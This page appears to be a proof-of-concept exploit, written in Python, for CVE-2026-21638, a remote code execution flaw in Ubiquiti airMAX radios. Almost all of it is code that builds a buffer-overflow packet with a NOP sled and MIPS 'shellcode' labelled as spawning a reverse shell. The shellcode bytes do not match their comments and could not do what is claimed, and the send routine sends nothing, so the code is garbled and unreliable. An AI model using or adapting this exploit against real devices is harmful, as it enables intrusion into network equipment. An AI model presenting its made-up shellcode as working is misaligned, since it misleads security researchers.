CVE-2026-21638 Ubiquiti airMAX无线协议远程代码执行漏洞

# CVE-2026-21638 PoC - airMAX Protocol Exploit Framework # Note: This is a conceptual PoC for educational and security research purposes only import struct import sys class AirMAXExploit: def __init__(self, target_mac): self.target_mac = target_mac self.protocol_version = 0x01 self.packet_type = 0x0A def craft_malicious_packet(self): """Craft a malicious AirMAX packet with RCE payload""" # AirMAX packet header header = struct.pack('!6s', bytes.fromhex(self.target_mac.replace(':', ''))) header += struct.pack('!B', self.protocol_version) header += struct.pack('!B', self.packet_type) # Vulnerable field - oversized data without proper bounds checking # This triggers buffer overflow in protocol handler overflow_length = 256 overflow_data = b'\x41' * overflow_length # NOP sled for reliability nop_sled = b'\x90' * 32 # Shellcode - spawns reverse shell # Architecture: MIPS (common in Ubiquiti devices) shellcode = b'\x00\x00\x00\x00' # MIPS NOP shellcode += b'\xff\xff\x04\x28' # slti $a0, $zero, -1 shellcode += b'\xff\xff\x05\x28' # ori $a1, $zero, 0xFFFF shellcode += b'\x0c\x01\x01\x01' # syscall 0x40404 payload = header + overflow_data + nop_sled + shellcode return payload def inject_packet(self, interface): """Send malicious packet via wireless interface""" packet = self.craft_malicious_packet() print(f"[*] Sending malicious AirMAX packet to {self.target_mac}") print(f"[*] Packet size: {len(packet)} bytes") # Implementation would use Scapy or similar for raw packet injection return True def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_mac>") sys.exit(1) exploit = AirMAXExploit(sys.argv[1]) exploit.inject_packet('wlan0') if __name__ == '__main__': main()